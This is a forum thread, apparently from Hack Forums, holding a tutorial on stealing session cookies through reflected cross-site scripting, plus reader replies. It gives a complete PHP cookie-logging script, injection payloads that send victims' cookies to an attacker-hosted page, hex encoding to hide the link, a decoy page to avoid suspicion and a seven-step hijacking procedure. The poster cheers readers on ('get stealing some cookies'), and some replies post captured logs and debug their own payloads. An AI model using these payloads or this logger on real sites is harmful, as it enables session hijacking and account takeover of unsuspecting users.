

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Stealing Cookies With XSS](#)

Skittles- - July 19, 2009, 10:13 am

Stealing Cookie With XSS

ADVERTISEMENT

Show Printable Version Email this Page Subscription Add to Favorites Copy Stealing Cookie With XSS link

Author

Recent Articles

Similar Articles

Author

fourthdimension (Ambitious contributor)

Tech, security, and OS info made easy: <http://www.easygeek.org>

All articles By fourthdimension

Recent Articles

Anonimity - One step further - Accessing Blocked Webs, Started by indiansword in Ethical hacking

vBulletin 3.7.3 PL1 XSS Vulnerability and Patch Fix, Started by SaswatPadhi in Ethical hacking

Introduction to Cracking - (Part III), Started by SaswatPadhi in Ethical hacking

Intoduction to Cracking - (Part II), Started by SaswatPadhi in Ethical hacking

Introduction to Cracking - (Part I), Started by SaswatPadhi in Ethical hacking

Similar Articles

Hacking Gmail account using GX cookie, Started by pop3_zxcv in Ethical hacking

XSS Attack - Yahoo! Worm - Mail PoC, Started by XXxxImmortalxxXX in Ethical hacking

* Setting A Cookie in ASP.NET, Started by pradeep in ASP / ASP.NET

Introduction

I thought it was about time for someone to post a cookie stealing tutorial, so I decided to write one for you from the ground up.

NOTE: Again... this was written to educate you on the security aspects of the following information, not to teach you how to break the law or do something stupid. Use what you learn from this to make your website more secure/use better browsing habits, not break into other websites.

Background

First, make sure you've read these two articles because I'm going to assume you already understand everything written in them:

XSS Complete Guide

All About Cookies and Security

Now we need to understand a bit more about how XSS actually works before moving on. From the above article, you already know a bit of the theory behind XSS, so we'll get right to the code. Let's say a web page has a search function that uses this code:

Code:

```
<tr><td>Name</td><td><input type="text" name="advisor_name" value=""></td></tr>
```

We want to exploit this page using XSS. How do we do that? We know that we want to inject our own script into the value field (this field is tied to the search box we can enter text into). We could start by using a test script:

Code:

```
<script>alert("test")</script>
```

When we enter this into the search box and click search, nothing happens. Why? It's still inside the value quotes, which turn the entire script into plaintext. If you look at the page source now, you see that the above portion of code now looks like this:

Code:

```
<tr><td>Name</td><td><input type="text" name="advisor_name" value="<script>alert("test")</script>"></td></tr>
```

Note the quotes around our script. So what do we do? We need to end the value field before our script can actually be executed. So we tweak our test injection a bit:

Code:

```
"><script>alert("test")</script>
```

This should close the quotes end the input section so that our script can be rendered as a part of the source instead of plaintext. And now when we hit enter we get a nice pop-up box saying "test", showing us our script was executed. Keep in mind that you're not actually writing this data to the server (unless you're injecting it with a script that actually modifies the page on the server's end also, like a guestbook or comment script), just changing how the dynamic page is acting on your end. If you want someone else to see what you see when you use this injection, you need to send them the link with that injection already in the page. For example,

Code:

[<script>alert\("test"\)</script>](http://www.site.com/search.php?q=)

Of course, if you don't want the recipient to see the injection, you'll need to hex the query. You can do that here:

Code:

<http://centricle.com/tools/ascii-hex/>

Hexing the query of this url gives us

Code:

<http://www.site.com/search.php?q=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%74%65%73%74%22%29%3c%2f%73%63%72%69%70%74%3e>

The above is a very simple case of finding an XSS injection vulnerability. Some html and javascript knowledge is definitely helpful for finding more complicated ones, but code like the above works often enough.

Using XSS to Steal Cookies

OK, so now you know the page is vulnerable to XSS injection. Great. Now what? You want to make it do something useful, like steal cookies. Cookie stealing is when you insert a script into the page so that everyone that views the modified page inadvertently sends you their session cookie. By modifying your session cookie (see the above linked tutorial), you can impersonate any user who viewed the modified page. So how do you use XSS to steal cookies?

The easiest way is to use a three-step process consisting of the injected script, the cookie recorder, and the log file.

First you'll need to get an account on a server and create two files, log.txt and `whateveryouwant.php`. You can leave log.txt empty. This is the file your cookie stealer will write to. Now paste this php code into your cookie stealer script (`whateveryouwant.php`):

Code:

```
<?php
```

```
function GetIP()
{
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
        $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR") &&
strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
        $ip = getenv("HTTP_X_FORWARDED_FOR");
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
        $ip = getenv("REMOTE_ADDR");
    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] &&
strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
        $ip = $_SERVER['REMOTE_ADDR'];
    else
        $ip = "unknown";
    return($ip);
}

function logData()
{
    $ipLog="log.txt";
    $cookie = $_SERVER['QUERY_STRING'];
    $register_globals = (bool) ini_get('register_globals');
    if ($register_globals) $ip = getenv('REMOTE_ADDR');
    else $ip = GetIP();
```

```

$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$request_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");

if (preg_match("/\bhtml\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
    fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD:
$request_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
else
    fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD:
$request_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}

logData();

?>

```

This script will record the cookies of every user that views it.

Now we need to get the vulnerable page to access this script. We can do that by modifying our earlier injection:

Code:

```

"><script language=
"JavaScript">document.location="http://yoursite.com/whateveryouwant.php?cookie=" +
document.cookie;document.location="http://www.whateversite.com"</script>

```

yoursite.com is the server you're hosting your cookie stealer and log file on, and whateversite.com is the vulnerable page you're exploiting. The above code redirects the viewer to your script, which records their cookie to your log file. It then redirects the viewer back to the unmodified search page so they don't know anything happened. Note that this injection will only work properly if you aren't actually modifying the page source on the server's end. Otherwise the unmodified page will actually be the modified page and you'll end up in an endless loop. While this is a working solution, we could eliminate this potential issue when using source-modifying injections by having the user click a link that redirects them to our stealer:

Code:

```

"><a href="#" onclick="document.location='http://yoursite.com/whateveryouwant.php?cookie='
+escape(document.cookie);"><Click Me></a></script>

```

This will eliminate the looping problem since the user has to click on it for it to work, and it's only a one-way link. Of course, then the user's trail ends at your cookie stealing script, so you'd need to modify that code a little to keep them from suspecting what's going on. You could just add some text to the page saying something like "under construction" by changing the end of our php script from this:

Code:

```
logData();  
?>
```

to this:

Code:

```
logData();  
  
echo '<b>Page Under Construction</b>'  
?>
```

Now when you open log.txt, you should see something like this:

Code:

```
IP: 125.16.48.169 | PORT: 56840 | HOST: | Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;  
rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 | METHOD: | REF:  
http://www.ifa.org.nz/search.php |
```

```
DATE: Tuesday 21st 2009f April 2009 05:04:07 PM | COOKIE:  
cookie=PHPSESSID=889c6594db2541db1666cefca7537373
```

You will most likely see many other fields besides PHPSESSID, but this one is good enough for this example. Now remember how to edit cookies like I showed you earlier? Open up firebug and add/modify all your cookie's fields to match the data from the cookie in your log file and refresh the page. The server thinks you're the user you stole the cookie from. This way you can log into accounts and many other things without even needing to know the passwords or usernames.

Summary

So in summary:

1. Test the page to make sure it's vulnerable to XSS injections.
2. Once you know it's vulnerable, upload the cookie stealer php file and log file to your server.
3. Insert the injection into the page via the url or text box.
4. Grab the link of that page with your exploited search query (if injection is not stored on the server's copy of the page).
5. Get someone to use that link if necessary.
6. Check your log file for their cookie.
7. Modify your own cookie to match the captured one and refresh the page.

GlitterKitty - March 20, 2010, 1:06 am

I know this is a HEAPS old thread but I have a question. How can I make this work so I get a JSESSION ID instead (sorry if this sounds noob, but I am, and I read that I need a JSESSIONID for what I'm trying to do)

manndi - March 20, 2010, 5:05 am

nice tutorial,thank you

-mothered- - March 20, 2010, 6:18 am

Bookmarked! Very nice there mate. I will definitely be using this as a point of reference.
Much appreciate the share.

Skittles- - April 15, 2010, 5:53 am

No worries, get stealing some cookies eh! ;)

joszhua13 - April 15, 2010, 8:26 am

HOW TO USE THE COOKIE THAT I STEAL FROM THE USERS? SORRY IM A NOOB^^ I DONT GET IT A LIL BIT

smoKer1337 - April 15, 2010, 9:33 am

Thank you very much for this

-Darkness- - April 15, 2010, 9:35 am

You should add more to this, it's easy, but you just copypasta'd it :P

However, good that you kept original credits.

You can cookie spoof using addons for firefox, just google it. :)

joszhua13 - April 15, 2010, 9:43 am

can someone put screenshots?

-Darkness- - April 15, 2010, 9:44 am

(Apr 15, 2010 09:43 AM)joszhua13 Wrote: [CITE](#) can someone put screenshots?

You don't need any.

All you need is:

- PHP cookie stealer script hosted on your site.
- An XSS you or someone else found.
- Someone dumb enough to click on the XSS'd Link.

joszhua13 - April 15, 2010, 9:46 am

lol ok let understand this.....reading tiL i get it ^^

blinded - April 15, 2010, 11:52 am

Your script doesn't execute for some reason

```
http://xxxxxxx/xxxxxxxxxxxxxxxxxxxxxxxxxxxxquery=""><script>window.location =  
"http://localhost/static.php?cookie=";</script>
```

redirect to the page I just need some way to add the cookie to it because when I try your code nothing happens ;_;

oh yeah and maybe somebody can correct this

```
<script>  
var newurl="http://localhost/static.php?cookie="+document.cookie; window.location.href = newurl;  
</script>
```

Skittles- - April 16, 2010, 1:26 pm

People are dumb, they will click ANYTHING! :)

Durial_321 - April 17, 2010, 6:37 am

thanks for the share, keep up the good work

digger191 - July 1, 2010, 9:03 am

IP: | PORT: | HOST: | Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 | METHOD: | REF: http://www.facebook.com/profile.php?id=** | DATE: Thursday 01st 2010f July 2010 12:02:25 PM | COOKIE: c=undefined

why cant i get cookies?

i am really hungry

digger191 - July 1, 2010, 6:45 pm

and now i get this

IP: | PORT: | HOST: | Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 | METHOD: | REF: | DATE: Thursday 01st 2010f July 2010 09:40:13 PM | COOKIE: cookie=

hacktheworld - July 6, 2010, 2:17 pm

Digger I can help you :)

and skittles you didn't write this did you?

Skittles- - July 8, 2010, 7:54 am

(Jul 6, 2010 02:17 PM)oiShyne Wrote: [\[CITE\]](#) Digger I can help you :)

and skittles you didn't write this did you?

No, i didn't.. Credits have been given on the original post.

Sepultra - July 10, 2010, 1:23 am

i got this

Quote:

http://fengshui_world1.##/cook1e.php?c=wordpress_test_cookie=WP+Cookie+check;%20__utma_a2a=6381148169.1310304723.1278747797.1278748727.1278748843.14;%20wp-settings-time-11=1278748723

whats this!??

jmurphy855 - July 27, 2010, 9:40 pm

dsfdffdsfsdfsdfsdfsfrhbwere rjfhey dyded n sf

sweetcare4 - September 16, 2011, 6:05 am

IP: 196.201.51.19 | PORT: | HOST: | Agent: | METHOD: | REF: \$ referer | DATE: Thursday 15th 2011f September 2011 09:00:51 PM | COOKIE:nn

this what got what happen to the cookies i only get nn when vist or they vist....nn what that

Clones - September 16, 2011, 9:26 am

This is very helpful to me, thanks for sharing :)

This is really a very nice tutorial, thanks for sharing. :)

?????? - September 22, 2011, 5:56 am

Bookmarked. Thanks, very good reference tutorial. Good for newbies to remember.

Dimitrije - October 3, 2011, 11:37 pm

I don't know why not so much comments. This tutorial is just AWESOME ! I recommend it to everyone! Thank you for this

StealinCpt - January 14, 2012, 6:29 pm

Thank you so much, very awesome tutorial :) Thanks

Anonymous Nepal - March 1, 2012, 12:35 am

Nice tutorial which i have been looking for..

Crawler1003 - January 17, 2013, 6:19 am

Nice Demonstration On Cross Site Scripting Bro

BRatya po Rujya - April 15, 2013, 9:20 pm

Great job man, very nicely done. Keep up the good work. I look forward to any other tuts you put up. Keep on rolling em out.

Complexer - April 16, 2013, 2:36 am

Absolutely nice tutorial, I can say it's a good one, thanks!